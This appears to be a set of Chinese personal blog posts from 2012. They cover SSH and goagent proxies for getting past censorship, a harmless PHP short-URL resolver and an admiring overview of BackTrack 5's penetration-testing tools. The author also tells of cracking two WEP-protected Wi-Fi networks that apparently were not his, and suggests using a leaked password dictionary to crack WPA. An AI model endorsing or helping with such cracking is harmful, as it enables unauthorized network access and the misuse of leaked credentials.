这里使用的是goagent2.1.5,googlecode的地址没翻墙好像不能下载,这里给个地址吧。

下载地址:goagent-2.1.5

 

 

 

 

SSH翻墙2

ssh其实也可以用putty来做一个代理,速度快很多,这里给贴出来一下。

填入主机,然后连接–ssh–认证,导入私钥。连接–ssh–通道添加一个动态端口,然后浏览器设置和前面一篇一样。

 

翻墙成功。

SSH翻墙

由于十八大的缘故,很多翻墙的那啥被河蟹了,当然我不是提供什么最新翻墙的方法,只是在这里列一下一般是怎么翻墙的。

首先弄到一个ssh的帐号,至于怎么弄到就不说了。

我在openshift注册的,https://openshift.redhat.com

OpenShift是redhat在2011年5月推出,支持用于Java、Python、PHP和Ruby的更多的开发框架,开发人员可以构建、测试、运行和管理他们的应用。

目前已支持Java,PHP,Python,Perl,Ruby五种编程语言和对应的web框架,而且还在不断增加中。支持为应用添加MySQL Database,phpMyAdmin,MongoDB NoSQL Database,Cron 1.4等。

OpenShift可以正常运行各类PHP程序,OpenShift自带了wordpress博客一键生成功能,也可以自己安装Wordpress、Discuz! X2.5等程序,每个注册用户,目前Red Hat的OpenShift 上可以免费创建三个app,提供1.5G 内存和3G 存储空间。

OpenShift服务器采用的是AmazonEC2美国东海岸数据中心,月流量什么的不限制,且支持绑定顶级域名。

还有最给力的一点,就是它提供ssh,赞一个。注册过程不说了,我们注册后要用puttygen生成一个私钥,保留下来。

然后下载一个叫做MyEnTunnel的软件,地址放在下面。

和我一样设置就好了,你可以更改的。由于我们用的私钥登入,所以勾上试用私钥。如果是其他有密码的就填密码。

 

然后这里是比较纠结的,没有载入私钥的地方,后来发现是重命名为keyfile.ppk然后放到软件根目录下就好了。这个要记住。连接,之后就是浏览器的设置。犹豫我是比较懒的,所以一张图来吧。打开火狐,选项,网络,设置,然后填入本地地址和代理端口,看你前面的设置,没变的话就是7070.应用之后,你的MyEnTunnel会从黄色变成绿色。然后你就可以访问XXXXX。

1024,这个不解释额。其他浏览器设置类似,然后为什么这没有说linux下的方法呢,且听下回分解。

ps:今天晚上遇到个问题,昨天在家用的时候速度挺快的,刷1024都挺不错的,今天来学校就卡的要死,不知道是什么问题。家里2m铁通,学校8m电信,这不科学啊。下载地址:MyEntunnel

 

 

 

棍棍节来了

如果运气好这将是最后一个光棍节了,如果运气不好,这会是最后一个光棍节了。呵。。。

然后,就花了点时间改一下这个。

这是以前人人上传播的纪念爱情的,我用来表白过,虽然还搭了一个许愿墙,弄到了几十条祝福,但还是失败了。

希望大家别和我一样哦。。。

原网页,来自 http://hackerzhou.me/,他代码共享了,可以去googlecode看看。

在这里http://justforlove.sinaapp.com/你可以自己修改一个,发给你女朋友或者未来的女朋友。o(∩_∩)o

短网址还原

应用租金很贵啊,现在想想怎么通过sina开发者认证才是正途啊。听说sae会逐步开放,也不知道豆豆能不能撑到他开放给高校学生的那一天。完全不会php,那怎么弄开发者认证哦。虽然有个半成品的android应用,但是1000人的限制。后面就在网上找到一个简单的方法。

sae应用仓库里面有3个网址压缩的应用,那我们就弄一个还原网址的额。

我们可以用程序请求一个短网址,然后获取响应头信息就可以了。通常短网址是进行了301跳转,并且响应有Location 信息。

网上找到一段使用get_headers()获取的,看这里:

function get_real_url($url){
    $headers = @get_headers($url);
    $pattern = '/Location\s*:\s*(https?:[^;\s\n\r]+)/i';
    if($locations = preg_grep($pattern, $headers)){
        preg_match($pattern, end($locations), $redirect);
        return $redirect[1];
    }
    return $url;
}
但是,sae上禁掉了,蛋碎,换吧。 修改一下这份代码就可以使用了。
    $url='http://t.cn';
    $info = parse_url($url);
    $fp = fsockopen($info['host'], 80,$errno, $errstr, 30);
    fputs($fp,"GET {$info['path']} HTTP/1.1\r\n");
    fputs($fp, "Host: {$info['host']}\r\n");
    fputs($fp, "Connection: close\r\n\r\n");
    $rewrite = '';
    while(!feof($fp)) {
        $line = fgets($fp);
        if($line != "\r\n" ) {
            if(strpos($line,'Location:') !== false) {
                $rewrite = str_replace(array("\r","\n","Location: "),'',$line);
            }
        }else {
            break;
        }
    }
    echo  $rewrite;
[
](http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121105165543.png)


看看解密效果

[![](http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121105165623.png "QQ20121105165623")](http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121105165623.png)
[
](http://7xnueu.com1.z0.glb.clouddn.com/2012/11/QQ20121105165623.png)


[http://downlinux.sinaapp.com/app/unshort/](http://downlinux.sinaapp.com/app/unshort/)

BackTrack5

简介

  BackTrack是基于Ubuntu的自启动运行光盘,它包含了一套安全及计算机取证工具。它其实是依靠融合Auditor Security Linu和WHAX(先前的Whoppix)而创建成的。

BackTrack是目前为止知名度最高,评价最好的关于信息安全的Linux发行版.它是基于Linux平台并集成安全工具而开发成的Linux Live发行版,旨在帮助网络安全人员对网络骇客行为进行评估.不论您是否把它做为常用系统,或是从光盘或移动硬盘启动,它都可以定制各种安全包, 包括内核配置,脚本和补丁, 以用于入侵检测.[1]

BackTrack是一套信息安全审计专用的Linux发行版, 不论您是信息安全专家还是新手. 它创造了一条可以方便您从世界上最大的安全工具库寻找和更新安全工具的捷径.
用户包括信息安全领域的专业渗透测试人员, 政府雇员, IT人员, 信息安全爱好者以及安全领域的初学者. 来自不同行业, 不同技术水平用户的反馈促使我们开发了这样一个面对多元需求,包括商业和非商业需求的系统.

无论是在渗透无线网络, 服务器, 还是在进行网站安全评估, 或是在学习安全技术, 或是在利用社会工程学获取信息, BackTrack都可以满足您在信息安全方面的需要。

名称由来

BackTrack可以翻译为回溯,因为BackTrack在其无线安全审计中主要使用了BackTrack回溯算法,比如WEP加密时是两个维度,而到WPA加密就相当于三个维度,好比把正方形变成了正方体,破解难度成几何倍数增长,而BackTrack算法则是将维度降低,正方体还原回正方形,破解难度则被降低很多,原先需要40小时甚至是40天才能破解出的密码使用回溯算法后则只需几十分钟。

功能

BackTrack是一套专业的计算机安全检测的Linux操作系统,简称BT。目前最新与最好用版本是BT5。

它破解WEP,WPA/WPA2加密方式的无线网络也不在话下,当然前提是需要有足够强大的密码字典文件。

(这个字典当然可以用前一阵子流传出来的xxx。)

如果你仅仅用来破解WIFI,那么就大材小用了,集成了众多安全工具的BT不仅仅在破解WIFI上功能强悍,还有如弱点扫描工具Nessus,渗透平台MSF,Sniff工具Wireshark , ettercap,VOIP检测工具。

在BT5里单独列出的众多RFID工具充分展示了BT对于基于无线射频技术的硬件系统检测能力。

密码破解方面,在以往版本工具的基础上又加入了基于GPU的破解工具oclhashcat,分别为oclhashcat+(ATI),oclhashcat+(Nvidia)破解速度理论上可以达到传统CPU破解的百倍。

Apache和MySQL都被集成到了系统中,方便使用者搭建LAMP环境进行测试,Injection,XSS等工具自然要有!

还有Snort等IDS(入侵检测系统)工具。

极力推荐信息安全爱好者尝试一下这个平台!

5. 专家对BT的评价

“I wish I had BT3 many years ago. It would have saved me a lot of time.” - Kevin Mitnick

“BackTrack is the fastest way to go from boot to remote root.” - H.D. Moore

“BackTrack is the ninja hacker’s weapon of choice.” – Johnny Long

工具列表

BT5的功能进一步增加,总共12个大类:

◆Information Gathering

◆Vulnerability Assessment

◆Exploitation Tools

◆Privilege Escalation

◆Maintaining Access

◆Reverse Engineering

◆RFID Tools

◆Stress Testing

◆Forensics

◆Reporting Tools

◆Services

◆Miscellaneous

下载地址:点我可见

WifiCrack

外婆家待了1个多礼拜来,只破了2个wep加密的,一个每天就凌晨2点可以连上。

另一个临走前才抓到密码。

至于pin码我就不想多说什么了,78%都能卡住,至于跑字典的那活,1年前就断了念头,不报任何希望。

这是现在用的,速度还不错,至少还能看看爱情公寓3.

这玩意,化了啊。

BackTrack自动升级脚本

相信很多朋友都安装了BackTrack,但是,我们也因此有许多重复性的工作要做了。比如每次开机要打开网络,给我们的Metasploit升

级等等。。现在不用劳心了,使用这个脚本可以实现很多快捷功能。

BackTrack 5 打包下载

最新BackTrack 5 R3 was released on 13th of August, 2012.

可以前去http://www.backtrack-linux.org获取最新Backtrack版本

这里是BackTrack5 R3所有版本的种子打包,大家根据自己的需求进行下载。

一共有17个种子,名称说明

版本号[R3/R2/R1/]-桌面环境[Gnome-Kde]-系统版本[32位/64位]-系统环境[VM/ARM/RM]

比如说我想要一个在虚拟机中的32位系统,然后最新的版本就是 BT5R3-GNOME-32-VM.torrent

我想在手机上安装BackTrack,那么就要选择ARM版的,那我就下载 BT5-GNOME-ARM.torrent

一般大家下载 BT5R3-GNOME-32.torrent这个文件就可以了。

下载地址:BackTrack5